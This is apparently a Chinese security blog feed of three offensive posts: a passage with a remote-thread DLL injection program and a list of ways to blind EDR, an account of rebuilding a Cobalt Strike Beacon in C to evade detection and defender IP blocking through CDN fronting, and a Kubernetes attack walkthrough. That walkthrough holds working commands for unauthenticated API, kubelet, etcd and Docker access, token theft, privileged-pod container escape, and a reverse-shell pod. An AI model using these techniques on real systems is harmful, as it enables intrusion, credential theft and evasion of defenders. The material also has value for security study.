            CHAR* process2 = GetPathByProcessId(item->Belong_ProcessId);
            if (process1 && process2 && process1[0]!='\0' && process2[0] != '\0') {
                sprintf_s(WarningText, 1024 * 20, "进程:\n %s \n在向进程:\n %s \n进行远程线程注入, 注入的线程ID为: %d", process1, process2, item->ThreadId);
                MessageBoxA(NULL, WarningText, "警告", MB_OK);
            }
            buffer += sizeof(ThreadData);
            bytes -= sizeof(ThreadData);
        }

        Sleep(1000);

    }

}

进行远程线程注入的恶意程序（RemoteInject.exe）

main.cpp

#define _CRT_SECURE_NO_WARNINGS

#include <windows.h>
#include <Windows.h>

#include <stdio.h>

int main() {

    char szdllname[MAX_PATH] ="kernel32.dll";

    int pid;

    printf("input pid\r\n");

    scanf("%d", &pid);

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);

    LPVOID addralloc = VirtualAllocEx(hProcess, NULL, strlen(szdllname), MEM_COMMIT, PAGE_READWRITE);

    if (!addralloc) {

        printf("alloc mem err!\r\n");

        return -1;
    }

    if (!WriteProcessMemory(hProcess, addralloc, szdllname, strlen(szdllname), 0)) {

        printf("wirte mem err!\r\n");

        return -2;

    }

    //获取LoadLibraryA的地址

    PTHREAD_START_ROUTINE pLoadLibrary = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("kernel32.dll")

        , "LoadLibraryA");

    if (!pLoadLibrary) {

        printf("pLoadLibrary mem err!\r\n");

        return -3;

    }

    HANDLE hThread = CreateRemoteThread(hProcess, 0, 0, pLoadLibrary, addralloc, 0, 0);

    if (!hThread) {

        printf("CreateRemoteThread err!\r\n");

        return -4;

    }

    WaitForSingleObject(hThread, INFINITE);

    printf("dll injected successly!\r\n");
    system("pause");
    return 0;

}

按照驱动回调原理来说，如果将RemoteInject.exe 改成系统调用也会弹窗提醒，如下图。

当前对于这种方式的远程线程注入检测，也有绕过方法，但是这篇文章主要是讲EDR，就不展开说。后面有空再写一篇文章来介绍。

实现 - 对EDR 进程保护

前面也说到了，国内的大多数杀软/EDR 都不是PPL 进程，那么它是如何保证它的用户态进程不被Kill 的呢？

下面就来实现通过驱动保护上面写的EDRClient.exe 进程不被用户态进程Kill 掉。

这次为了方便，就直接在驱动中写好要保护的进程，这样就不用写与用户态进程通信来获取要保护的进程的代码了。

实现效果图：

阻止原理：

内核支持在当有进程试图打开或者复制特定对象类型的句柄时通知注册了回调的驱动程序。这里通过ObRegisterCallbacks() 来注册一个操作前回调函数。操作前回调是在实际的句柄创建/打开/复制操作完成之前被调用，这样我们就可以在当有进程打开指定进程句柄前，去除掉句柄中的PROCESS_TERMINATE(1) 权限，使其返回的句柄没有杀死进程的权限。

Tips: 当然程序自身调用ExitProcess() 函数是可以退出程序的。并且如果是像notepad 这类有窗口的程序，点击窗口的关闭按钮也可退出。

驱动程序代码如下：

注：使用ObRegisterCallbacks的驱动程序必须在链接时使用/integritycheck参数。

#include <ntddk.h>

//需要保护的进程pid
ULONG ToProtectPid = 9132;

#define PROCESS_TERMINATE 1
PVOID RegHandle = NULL;
void DriverUnload(PDRIVER_OBJECT pDriverObject);
OB_PREOP_CALLBACK_STATUS OnPreOpenProcess(PVOID  RegistrationContext , POB_PRE_OPERATION_INFORMATION Info);
//入口函数，相当于main
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath)
{

	UNREFERENCED_PARAMETER(pRegPath); 

	OB_OPERATION_REGISTRATION operations[] = {
		{
			PsProcessType,		
			OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE,
			OnPreOpenProcess, NULL
		}
	};
	OB_CALLBACK_REGISTRATION reg = {
		OB_FLT_REGISTRATION_VERSION,
		1,				
		RTL_CONSTANT_STRING(L"12345.6171"),	
		NULL,		
		operations
	};

	
	NTSTATUS status = ObRegisterCallbacks(&reg, &RegHandle);
	if (!NT_SUCCESS(status)) {
		KdPrint(("failed to register callbacks\n"));
		return status;
	}

	KdPrint(("DriverEntry ok\n"));
	status = STATUS_SUCCESS;
	pDriverObject->DriverUnload = DriverUnload;

	return status;
}
//用于驱动程序卸载时执行
void DriverUnload(PDRIVER_OBJECT pDriverObject)
{
	UNREFERENCED_PARAMETER(pDriverObject);
	//取消注册
	ObUnRegisterCallbacks(RegHandle);
	KdPrint(("DriverUnload ok\n"));

	return;
}

OB_PREOP_CALLBACK_STATUS OnPreOpenProcess(PVOID  RegistrationContext , POB_PRE_OPERATION_INFORMATION Info) {
	UNREFERENCED_PARAMETER(RegistrationContext);
	if (Info->KernelHandle)
		return OB_PREOP_SUCCESS;

	PEPROCESS process = (PEPROCESS)Info->Object;
	ULONG pid = HandleToULong(PsGetProcessId(process));
	//是否匹配
	if (pid == ToProtectPid) {
		Info->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_TERMINATE;
	}

	return OB_PREOP_SUCCESS;
}

此外CmRegisterCallbackEx()函数可用于注册注册表的回调函数，以便在访问注册表键值时驱动程序可以进行处理。除此之外，驱动程序还可以实现对文件系统的保护，例如禁止删除某个文件。

总结

上面我们通过自己编写模拟EDR 的驱动程序和用户态进程，了解EDR 这两个组成部分的通信过程，有助于帮助我们理解EDR大致的工作检测原理，以便思考如何对抗EDR。

通过分析EDR 原理，现在也能大致总结出致盲EDR 几个方法：

禁用用户态的服务/进程。
禁用EDR 驱动程序或利用白驱动的任意地址写，修补EDR 的各类回调。
禁用的内核组件过滤器驱动程序或微过滤器驱动程序。

其中1、2 两点是咱们有希望能够利用的，第三点对系统影响较大所以暂不考虑。

需要说明的是，第一点禁用用户态的服务和进程在绝大多数情况下是有效的。但是如果EDR 总控通信、监控拦截等主要功能如果写在驱动程序里，那么kill 用户态进程意义不大。测试发现，国内的那些主要杀软/EDR 主要还是很依靠用户态进程进行处理，所以目前来说Kill 用户态进程还是很有效的。

下篇文章中，将会介绍利用白驱动实现去kill 任意进程、进行任意地址写利用的具体方法，敬请期待。

by the way ~

欢迎关注我的微信公众号：北秋风清（新的文章会在公众号上第一时间发布）

参考

《Windows 内核编程》
A story about tampering EDRs

纯C重构CS Beacon - 原理详解与开发实现

myzx.xcg@gmail.com (myzxcg) — Mon, 13 Mar 2023 09:25:07 +0800

前言

去年上半年分析过CS 服务端代码，也发过相关的文章，之后就一直想根据TeamServer逻辑来重写一个Beacon。

实现重构Beacon 的目的：

去除现有CS Beacon 行为上的、流量上的、内存上的特征，使其对被控端来说就像一个新的C2 一样，没有现有C2的特征，但又能集成CS TeamServer 优秀的协同功能。
更方便做免杀，源码级的免杀处理，能够完全自定义Beacon 行为、流量、按需增强功能。

在开发Beacon 之前，我对Beacon 最基本要求是：稳定、无特征、最低支持Win XP/2003、体积小。在此基础上，我决定采用C 语言编写Beacon，且开发过程中不导入任何第三方外部库，只依赖Win32 API，这样能使Beacon 静态编译仅160kb 左右，并且可在兼容到Win XP/2003。其次，为追求稳定和占用内存小，在编写代码的时候注重内存管理和对失败的逻辑处理。

去年完成了重构 Beacon 的第一版开发，实现了HTTP/HTTPS 协议上线，进行命令执行、文件上传下载、目录浏览、Sleep 抖动等渗透常用的基础功能。后面紧接着实现了内存解析BOF 文件，适配了二十几种常用的CS BOF。后续经过几次实战项目的使用，也证明了重构Beacon 的稳定和动静态与内存免杀效果。在之后根据实战中遇到的各种问题，对重构的Beacon 增加新了的功能。目前在流量方面上已实现的功能有：动态URL、SSL Pinning、域名/IP 防封策略，这些会在后面文章中介绍。

实现的功能点

实现的命令：

shell, execute, ls, rm、sleep（抖动）, cd, download, upload, pwd, mkdir, cp, exit, drives
下面图片显示的所有功能点均已实现：
内置集成的BOF：

arp, cat, debug_privilege, env, get_clipboard, ipconfig, listdns, netstat, probe, quser, regsave, routeprint, scquery, screenshot_bof, self_delete, smbinfo, syscalls_dump, syscalls_inject, syscalls_shinject, tasklist, wdtoggle, whoami, wifidump, wifienum, windowlist, wmi_query, uptime
charset 命令或图形化设置Beacon控制台输出内容的编码，解决乱码问题。(如果charset参数为空，则恢复到原始编码) 或图形化设置

CS 请求处理与数据封装

首先介绍CS 的Team Server 是如何解析Beacon 发来的数据以及如何封装数据向Beacon 发送的（基于HTTP）。这也是后续开发Beacon 的基础依据。

心跳包获取指令

我们通过在CS 客户端下发指令（如执行命令、删除、上传文件等），TeamServer 会保存客户端发来的指令内容。心跳包就是Beacon 按照Sleep 设置的时间，定时向TeamServer 发起HTTP Get 请求，以获取客户端下发的指令，然后根据指令的内容执行对应的代码。

首先来分析一下这个心跳包的组成结构：如上图所示，Beacon 需要收集以上信息，然后使用公钥加密，根据Profile中的配置进行编码，然后在通过Get请求发送到TeamServer。由于这里需要使用公钥加密，所以在做马的时候就需要TeamServer 下的.cobaltstrike.beacon_keys ，这里面保存了TeamServer 启动后生成的公私钥信息。

其次还需要根据Profile中的配置进行编码，下面是一个Profile Get请求配置的例子：上图配置下的心跳请求包表现如下图： TeamServer 在beacon.BeaconC2.process_beacon_metadata()方法中使用私钥对加密内容进行解密，获得机器的各种信息，然后在客户端就可以看到机器上线了。

如果客户端输入了指令，例如shell whoami ，那么TeamServer 会使用心跳包里的密钥对此指令内容进行AES 加密，并按照Profile中的编码方式对加密的内容进行编码并返回，如上两张图。

CS 默认的编码方式有：Base64、Mask、Base64Url、NetBIOS、NetBIOSU。后三种是CS 独有的特征，建议不要使用。这四种编码方式可以组合使用。

Beacon 收到请求后，首先进行解码，然后利用密钥进行AES 解密，解密后的结构如下：

[ 指令类型 + A内容长度 + A内容 ]+..+[ 6指令 + 随机数 ] 以执行shell whoami为例：

Beacon 会根据指令类型78，判断操作为执行命令，然后调用代码执行whoami 命令。

Beacon 回传数据

执行完命令后，Beacon 通过POST 请求将执行结果发送给TeamServer，TeamServer 在传给客户端进行展示。

在发起POST 请求之前，首先会将执行结果进行AES 加密，然后根据Profile 中的配置的编码方式以及数据的放置位置等信息，对POST 请求包进行构造，构造完成后才会进行发送。TeamServer 再按照对应的方式进行解码解密。

如下图，是一份POST 请求的Profile样例：如下图，是Beacon 回传的POST 请求包的内容：数据包组合结构为：编码 {AES 加密[（请求次数）+（响应类型）+（执行结果）]}

TeamServer会根据不同响应类型对执行结果进行不同的处理，对应的处理方法为：beacon.BeaconC2.process_beacon_callback_decrypted()

以上即为Beacon 与TeamServer 进行HTTP 双向通信的流程，不仅仅是命令执行，其他功能（文件操作等等）也都是这样的处理逻辑。

Beacon 开发实现

Profile 适配与字符串加密

上面分析中发现，Profile中配置了各种编码方式、自定义的请求头、对加密数据的前后字符串拼接等等，在实现Beacon 时需要考虑到这些内容，并且针对不同Profile 都能进行适配。

如下图是部分请求头的处理逻辑。此外，域名，端口、以及Profile 配置中的各种请求头信息、公钥等敏感信息都是加密保存。加密效果如下图所示：如果在不同的Profile下手动生成加密字符串，在一个一个替换太麻烦了。这里推荐一个python 库：dissect.cobaltstrike.c2profile ，它可以按照格式读取Profile 中的配置信息，然后写成键值对的形式，这样就可以用python脚本处理这些字符串了，简便了许多。

动态URL 实现

主要针对可能某些监控场景下会记录对同一个URL 请求的频次或是记录内容、大小始终相同的HTTP/HTTPS包（例如前面说的心跳包）。通过动态URL 能使心跳包每次都变得不同。

实现原理：

Beacon 端生成一个随机字符串，长度自定义，然后拼接到URL 中。并在Header 里指定这个随机字符串的长度，以便TeamServer 能够通过长度，截取该字符串，还原最原始的URL。

//Beacon生成随机字符串
if (IsDynamicUrl) {
		DWORD RandomLen = RandInt(5, 10); //随机字符串5-10位
		CHAR* tmp = (CHAR*)calloc(RandomLen + 1, 1);
		if (tmp == NULL) return NULL;
		RandStr(tmp, RandomLen);
		RandomStr = (CHAR*)calloc(RandomLen + 2, 1);
		if (RandomStr == NULL) return NULL;
		memcpy(RandomStr, "/", 1);
		memcpy(RandomStr + 1, tmp, strlen(tmp));
		free(tmp);
	}

随后，需要修改TeamServer的cloudstrike.NanoHTTPD.run() 方法，获取对应的Header 头参数中的随机字符串长度，然后截取URL 中对应长度。实现效果如下，每次心跳请求和POST 请求的URL 都不相同，避免心跳的数据报始终不变。

防封域名/IP 策略与SSL Pinning 实现

实现效果：使防守方封锁域名无效，且通过一定的IP轮询策略减缓封锁IP带来的影响。

原理说明：

这里利用的是CDN的特性，CDN 的转发HTTP/HTTPS 请求的策略是检测Host头里的域名，根据域名转发到CDN 后面的真实服务器。所以可以通过直接请求CDN 的IP，然后在Host里面指定配置的域名，一样可以转发到CDN 后面的C2上线。这样做的好处是，不会发起DNS请求，对抗一部分对域名的封锁。

但是有的流量检测设备，也会检测HTTP 请求包里的Host 字段，根据Host 字段进行恶意域名的匹配。这样HTTP 的请求就会被检测到，所以进一步，需要通过HTTPS 上线，因为数据包都是加密的。

在企业环境下，主机联网前都会安装企业的证书到本机的根证书区，就像我们通过BurpSuite 抓取HTTPS数据包的逻辑一样，这种环境下能够解密HTTPS 数据包。所以某些设备又能看到Host 头里的域名，进行封锁。但是可以通过SSL Pinning 来解决这个问题，通过固定CDN 的证书公钥指纹，以此判断是否有人尝试解密HTTPS 数据包，如果有就不往外发正常包，这样就避免被解密。

CDN 的IP都是很多的，就腾讯云的来说，通过多地ping以及不同的DNS 服务器查询，获取到的有效CDN IP 就有60来个。

以上的利用需要一定的策略来实现，如CDN IP池的轮询策略，需要根据不同的侧重点考虑情况。

IP的轮询策略：

首先，维护一个被Ban的IP池，将请求三次都失败的IP（被封锁）移到被Ban的IP池中，并将其字符串置为""，这个函数就从CDN_IP 里读取那些不为""的IP，如果所有的IP都进了被ban的IP池中，就重置CDN_IP，再一次进行轮询。站在手动分析者视角（从流量分析角度，尽量避免暴露我们在使用很多个IP）

默认情况下，始终请求一个IP，只有这个IP被Ban了，才会使用下一个。
分析者Ban了第一个IP，并在观察木马还有没有请求其他IP，然后继续Ban
1. 如果之前没有一次请求成功，且轮询了1个IP（失败5次）也没有成功，那就睡眠加2分钟（考虑到第一次上线时某些ip已经被Ban的情况，策略不能太严格）
2. 如果之前有一次请求成功了，且轮询了1个IP也没有成功，那就睡眠加20分钟（考虑到可能当前CDN IP不可用或是目标断网的情况，而不仅是被ban的情况。但一般情况下，请求成功过，又开始轮询ip一般都是被Ban或断网的情况，所以时间可以大一些，因为一般情况下是不会进行轮询的）

SSL Pinning 实现代码：这样就限制防守人员的反制策略为以下两点：

机器关机或断网
防守人员动态调试上线马，从内存中dump出IP池里的IP，然后通过防火墙等设备对这些IP进行封堵。（耗费时间，也可能对正常流量有影响）

Tips： 通过CDN IP，并指定Host 方式上线。在腾讯云CDN下，要注意一些Header头的大小写问题。腾讯云会将某些Header头转换为小写。

end.

Kubernetes 实际利用与分析

myzx.xcg@gmail.com (myzxcg) — Tue, 29 Nov 2022 16:22:59 +0800

本文测试环境基于前文 - Kubernetes 环境搭建与基础知识搭建的k8s集群：

一个master节点：192.168.223.142
两个工作节点：192.168.223.143、192.168.223.144

对k8s集群攻击的最终目的是获取cluster-admin权限的kubeconfig 和apiserver 所在master 节点的主机权限（类比拿下域管理员账号和域控）

用户身份认证

前面介绍k8s Dashboard 的安装时，发现Dashboard 有两种登录方式：Token 登录和证书登录。前面是创建了一个高权限的服务账户，并通过Token 的方式登录。下面通过创建普通用户和服务用户的方式，来介绍如何进行k8s的认证。

创建高权限用户

申请证书的另一种方法

创建一个名为kim用户的证书：

#需在master 节点执行，如果不在master 节点执行可参考上面的链接：申请证书的另一种方法
#创建私钥
openssl genrsa -out kim.key 2048
#用此私钥创建一个csr(证书签名请求)文件
openssl req -new -key kim.key -subj "/CN=kim" -out kim.csr
#生成证书（需要用到k8s的私钥来签名证书）
openssl x509 -req -in kim.csr -CA /etc/kubernetes/pki/ca.crt -CAkey /etc/kubernetes/pki/ca.key -CAcreateserial -out kim.crt -days 365
#为用户分配cluster-admin权限
#-n namespace 用于指定对某个命名空间的权限，如果未指定命名空间，则代表分配此权限到所有命名空间
kubectl create clusterrolebinding kim-binding --clusterrole=cluster-admin --user=kim

获取代表kim 的证书及私钥到本地，然后创建kubeconfig 文件进行后续的认证：

Tips： kubeconfig 主要由clusters、context、users 组成，可通过kubectl config view简单查看。下面的命令也都可以不添加--kubeconfig 参数，写入的内容会自动保存在$HOME/.kube/config 里，也可通过KUBECONFIG环境变量指定。

#向kubeconfig 写入证书信息
kubectl config set-credentials kim --client-certificate=./kim.crt --client-key=./kim.key --embed-certs=true --kubeconfig=./kim.kubeconfig
#在配置文件中指定api server地址。cluster.local 这个值随意，但前后要统一
kubectl config set-cluster cluster.local --server=https://192.168.223.142:6443/  --insecure-skip-tls-verify --kubeconfig=./kim.kubeconfig
#在配置文件中，设置上下文，kubernetes-admin@cluster.local 值随意，但前后要统一
kubectl config set-context kim@cluster.local --cluster=cluster.local --user=kim --kubeconfig=./kim.kubeconfig
#切换上下文
kubectl config use-context kim@cluster.local --kubeconfig=./kim.kubeconfig
#之后可使用kim.kubeconfig进行正常的kubectl命名了
kubectl get pods --kubeconfig=./kim.kubeconfig

Tips： context中将访问一个集群的参数（集群名、用户名、命名空间等）进行分组，通过use-context来切换集群上下文，用以对多集群的访问。

从上面添加用户的流程可以看出，Kubernetes 并不保存用来代表普通用户账号的对象。使用证书进行认证时，用户的信息保存在本地配置文件中，客户端使用该配置文件进行认证。 **需要注意的是，用户的证书是k8s的私钥来签名的，并且必须为此用户添加相应的权限。**API Server校验证书后，仅检查此用户名所绑定的角色权限。

创建服务账号

服务账号是 Kubernetes API 所管理的用户，它们被绑定到特定的命名空间。服务账号与一组以 Secret 保存的凭据相关，这些凭据会被挂载到 Pod 中，从而允许集群内的进程访问 Kubernetes API。

创建服务账号，并生成Token：

#创建服务账号
kubectl create serviceaccount kimservice
#给kimService 账号添加集群管理员权限
kubectl create clusterrolebinding kim-admin --clusterrole=cluster-admin --serviceaccount=default:kimservice
#获取服务令牌方式一（k8s高版本有效，这里测试的是1.25 版本）
#创建服务账号令牌，可添加 --duration 10m 参数设置token有效时间
kubectl create token kimservice
#获取服务令牌方式二（k8s低版本有效，这里测试的是 1.23.0版本）
#查看指定命名空间下的所有secret
kubectl get secret -n kube-system
#查询指定secret中的token
kubectl describe secret admin-user-token-8mcdk -n kube-system
#或直接一条命令查询admin-user用户的token
kubectl describe secrets -n kube-system $(kubectl -n kube-system get secret | awk '/admin-user/{print $1}')

本地生成kubeconfig文件，进行认证：

#将token写入到文件
kubectl --kubeconfig=./kimservice.conf config set-credentials kim-user --token=eyJhbGciOiJSUzI1NiIsImtpZCI6I...
#在配置文件中指定api server地址。cluster.local 这个值随意，但前后要统一
kubectl config set-cluster cluster.local --server=https://192.168.223.142:6443/  --insecure-skip-tls-verify --kubeconfig=./kimservice.conf
#在配置文件中，设置上下文，kubernetes-admin@cluster.local 值随意，但前后要统一
kubectl config set-context kubernetes-admin@cluster.local --cluster=cluster.local --user=kimservice --kubeconfig=./kimservice.conf
#切换上下文
kubectl config use-context kubernetes-admin@cluster.local --kubeconfig=./kimservice.conf
#之后可使用kimservice.conf进行正常的kubectl命名了
kubectl get pods --kubeconfig=./kimservice.conf

#或直接一条命令
kubectl --insecure-skip-tls-verify -s https://192.168.223.142:6443/ --token="xxxxxx" get nodes

查询账号权限（用户账号以及服务账号）

通过角色绑定关系来查询：kubectl describe -A clusterrolebindings,rolebindings |grep 用户名

kubectl 命令后添加-v=10 参数，可以显示kubectl 向api server 发送请求的详细信息。

资产发现

k8s常见端口：443,2375,2379,2380,4194,6666,6443,8443,8080,8081,10250,10252,10255,4149,9443,9444 以及30000 以上的Dashboard 端口。 kube-hunter 可以远程扫描，也可以在容器里扫描。

未授权访问

API Server 未授权访问

API Server 可以在两个端口上提供对外服务：8080（insecure-port）和6443（secure-port），其中8080端口提供HTTP服务且无需身份认证，一般未启用。（这两个端口不固定，都可通过配置文件修改）

可在 /etc/kubernets/manifests/kube-apiserver.yaml 配置 --insecure-port=8080 来启用8080端口，但在1.20版本后无效。

不带任何凭据直接访问6443端口，会被默认以system:anonymous 用户权限访问，提示拒绝。另一种未授权场景是，如果将annoymous 用户与集群管理员cluster-admin角色绑定。

kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous

再次访问就能看到内容：（实际环境中，访问此端口出现如下内容那就是存在未授权）

写入用户名密码、API Server 服务器地址、上下文信息到config文件。

#这里账号密码随意
kubectl config set-credentials anonymous --username=anonymous --password=anonymous --kubeconfig=./anonymous.kubeconfig
#设置API Server地址，cluster.local这个值随意，但前后要统一
kubectl config set-cluster cluster.local --server=https://192.168.223.142:6443/  --insecure-skip-tls-verify --kubeconfig=./anonymous.kubeconfig
#在配置文件中，设置上下文，kubernetes-admin@cluster.local 值随意，但前后要统一
kubectl config set-context kubernetes-admin@cluster.local --cluster=cluster.local --user=anonymous --kubeconfig=./anonymous.kubeconfig
#切换上下文
kubectl config use-context kubernetes-admin@cluster.local --kubeconfig=./anonymous.kubeconfig
#正常匿名访问了
kubectl get pods --kubeconfig=./anonymous.kubeconfig

#或直接一行命令，只是需要每次都输入密码，随便输就好了
kubectl -s https://192.168.223.142:6443/ --insecure-skip-tls-verify=true get nodes

不使用kubectl命令，也可直接请求 restful API，例如：

#查看kube-ystem命名空间下的token
https://192.168.223.142:6443/api/v1/namespaces/kube-system/secrets/

#查看pods
https://192.168.223.142:6443/api/v1/namespaces/default/pods?limit=500

#创建特权容器
https://192.168.223.142:6443/api/v1/namespaces/default/pods/test
{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}

#执行命令
https://192.168.223.142:6443/api/v1/namespace/default/pods/test/exec?command=whoami

kubelet 未授权访问

每个工作节点（Node）都有一个kubelet 服务，kubelet 监听了10250、10248、10255等端口。

kubelet是在Node上用于管理本机Pod的，kubectl是用于管理集群的。kubectl向集群下达指令，Node上的kubelet收到指令后以此来管理本机Pod。

一般情况10250开在节点IP上的，而10248开在localhost。

正常访问是没有权限的

手动允许anonymous 访问，查看服务中的kubelet 配置文件位置

service kubelet status -l

将/etc/kubernetes/kubelet-config.yaml anonymous修改为True。再次访问下载kubeletctl

查看Pods： ./kubeletctl_linux_amd64 pods -s 192.168.223.143 --port 10250

通过上图知道$namespace、$POD、$CONTAINERS 后，就能在容器里执行命令：

curl -k https://192.168.223.143:10250/run/default/netchecker-agent-j9fm6/netchecker-agent -d "cmd=ls /var/run/secrets/kubernetes.io/serviceaccount/" --insecure 此目录下保存了容器的服务账户的证书、命名空间和token，查看容器中服务账号的Token：cat /var/run/secrets/kubernetes.io/serviceaccount/token

然后可利用此token生成config，根据具体的权限进行利用。

etcd 未授权访问

etcd 服务默认监听了2379 端口，etcd 若存在未授权，攻击者导出全量etcd配置，可获取存储的各种服务的账号密码、公私钥、服务token等敏感数据。

正常情况修改/etc/etcd.env 注释掉TLS 相关内容，将https改为http。

再次访问出现如下界面，代表存在未授权。

下载 etcd

遍历所有的key: ETCDCTL_API=3 ./etcdctl --endpoints=http://192.168.223.142:2379/ get / --prefix --keys-only --limit=10

如果服务器启用了https，添加 --insecure-transport=false --insecure-skip-tls-verify 参数来忽略证书校验

通过v3 API来dump数据库到 output.data。

ETCDCTL_API=3 ./etcdctl --endpoints=http://192.168.223.142:2379/ get / --prefix --keys-only | sort | uniq | xargs -I{} sh -c 'ETCDCTL_API=3 ./etcdctl --endpoints=http://192.168.223.142:2379/ get {} >> output.data && echo "" >> output.data'

在文件中寻找token: 关键字，再使用token生成config文件进行利用。

或者在线查询

1
2

etcdctl --endpoints=https://etcd_ip:2375/ get / --prefix --keys-only | grep /secrets/
etdctl --endpoints=https://etcd_ip:2375/ get /registry/secrets/default/admin-token-55712

Docker Remote API 未授权访问

Docker以 C/S模式工作，其中 docker daemon服务在后台运行，负责管理容器的创建、运行和停止操作。

在Linux主机上，docker daemon监听在/var/run/docker.sock中创建的unix socket，2375 端口用于未认证的 HTTP 通信，2376 用于可信 HTTPS 通信。

当docker 配置了Restful api，那么可以通过HTTP 管理docker。

在/usr/lib/systemd/system/docker.service 添加 -H tcp://0.0.0.0:2375

访问2375端口如下，说明存在未授权访问。

通过API 查看运行的主机：

docker -H tcp://192.168.223.139:2375 ps 获取主机权限：可以利用Docker API在远程主机上创建一个特权容器，并且挂载主机根目录到容器，对主机进行进一步的渗透。

docker -H 192.168.223.139:2375 run --rm -it --privileged --net=host -v /:/mnt busybox

如下图，成功获取宿主机权限

容器逃逸

本质上容器内的进程只是一个受限的普通宿主机进程，容器内部进程的所有行为对于宿主机来说是透明的。容器逃逸的本质和硬件虚拟化逃逸的本质有很大的不同，容器逃逸的过程是一个受限进程获取未受限的完整权限，又或某个原本受 Cgroup/Namespace 限制权限的进程获取更多权限的操作，更趋近于提权。

场景：通过web 打下一个k8s集群中的pod，如何利用此pod逃逸到pod所在的宿主机（即工作节点）？

容器内信息搜集

cat /proc/1/cgroup 有kubepods 说明在k8s容器中，如果显示是docker，那就是在docker 容器中。（也可以依据env 判断）
cat /proc/1/status |grep Cap 查看当前容器的Capabilities 信息（有无特权） capsh --decode=00000000a80425fb
mount 查询挂载的磁盘
cat /proc/1/mountinfo |grep lxcfs 查看是否挂载了lxcfs，可进行后续利用。

利用高权限服务账号

前提： 要求serviceaccount 具有创建容器（POD）的权限。

上传 kubectl 到目标（也可不上传，cat /var/run/secrets/kubernetes.io/serviceaccount/token 获得token，在本地生成config文件，挂代理进行利用）

执行./kubectl auth can-i create pod 如果返回yes，并且可以执行exec，那么可以进行逃逸。（这里主要是利用起这个pod的服务账号有创建pod和exec的权限）

这里为了测试给该容器的服务账号添加create pod和exec权限。

kubectl create clusterrole "netchecker-server" --verb=get,list,create --resource=pods,pods/exec

再次查看权限：

通过ymal 创建一个特权容器，挂载宿主机的根目录到容器的/myPath 目录。

创建Pod：./kubectl create -f 1.ymal

apiVersion: v1
kind: Pod
metadata:
  name: api-server
spec:
  hostNetwork: true
  hostPID: true
  containers:
  - name: api-server
    image: alpine
    imagePullPolicy: IfNotPresent
    command: ["bin/sh","-c","tail -f /dev/null"]
    volumeMounts:
       - name: hostsvolume
         mountPath: /myPath
    securityContext:
       privileged: true
  nodeName: master #在指定节点上安装容器，可用于逃逸指定节点
  volumes:
  - name: hostsvolume
    hostPath:
     path: /

Tips1： 如果kubectl describe nodes master 查看主节点发现配置了 Taints: node.kubernetes.io/unschedulable:NoSchedule ，那么创建pod时，需要在spec下添加如下配置：

tolerations:
    - key: node.kubernetes.io/unschedulable
      operator: Exists
      effect: NoSchedule

Tips2： 可以不落ymal文件的方式创建：

1
2
3

cat << EOF | kubectl apply -f -
# {YAML文件内容}
EOF

然后可以直接chroot /myPath bash 获取宿主机权限。

拿到master 机器权限，可以保存/etc/kubernetes/admin.conf 文件内容到本地，此为集群管理员权限的config，来控制集群所有pods。

或者保存ca证书到本地用作认证：

`1`	`kubectl -s https://192.168.223.142:6443/ --certificate-authority=/etc/kubernetes/pki/ca.crt get nodes`

Tips：如果机器出网的话，其实这里不需要有exec 权限，创建容器时可以直接反弹shell。

apiVersion: v1
kind: Pod
metadata:
  name: api-server2
spec:
  hostNetwork: true
  hostPID: true
  containers:
  - name: api-server2
    image: bash
    imagePullPolicy: IfNotPresent
    command: ["bash"]
    args: ["-c", "bash -i >& /dev/tcp/192.168.223.143/2333 0>&1"]
    volumeMounts:
       - name: hostsvolume
         mountPath: /myPath
    securityContext:
       privileged: true
  nodeName: master
  volumes:
  - name: hostsvolume
    hostPath:
     path: /

利用 LXCFS

Cgroup 实现了对容器（进程）资源的限制，但是在容器内部依然缺省挂载了宿主机的procfs的/proc目录，其中包含：meminfo、cpuinfo、stat、uptime等资源信息。一些监控工具如 free、top 会依赖上述文件获取资源配置和使用情况。这就导致了虽然cgroup 对容器资源做了限制，但是当进入到容器当中通过 free、top 等命令查看cpu内存信息的时候看到的是整个宿主机的cpu 内存。

LXCFS 是一个小型 FUSE 文件系统，使得Linux容器的文件系统更像虚拟机。启动以后会在指定目录中维护 /proc目录中的文件同名的文件，从而保证容器读取数据时读取到lxcfs维护的/proc文件中状态数据。也就是说lxcfs 可以使容器中类似如 free、top 获取到的资源配置和使用情况是容器自身的。

环境搭建：

宿主机安装 https://github.com/lxc/lxcfs，并创建容器挂载lxcfs所在的/var目录。

python3 -m pip install meson jinja2 ninja
git clone git://github.com/lxc/lxcfs
cd lxcfs
meson setup -Dinit-script=systemd --prefix=/usr build/
meson compile -C build/
sudo meson install -C build/
#运行 lxcfs
mkdir -p /var/lib/lxcfs
lxcfs /var/lib/lxcfs

创建容器

apiVersion: v1
kind: Pod
metadata:
  name: lxcfs-rw
spec:
  containers:
  - name: lxcfs-rw-5
    image: nginx
    command: ["sleep"]
    args: ["infinity"]
    imagePullPolicy: IfNotPresent
    volumeMounts:
      - mountPath: /mydata
        mountPropagation: HostToContainer
        name: test-data
  nodeName: master
  volumes:
  - name: test-data
    hostPath:
      path: /var
      type: ""

判断当前容器是否使用了lxcfs

cat /proc/1/mountinfo |grep lxcfs ls -l /mydata/lib/lxcfs
/mydata/lib/lxcfs路径下会绑定当前容器的 devices subsystem cgroup，且在容器内有权限对该 devices subsystem 进行修改。

echo a > devices.allow修改当前容器的设备访问权限，以此在容器内可以访问所有类型的设备。

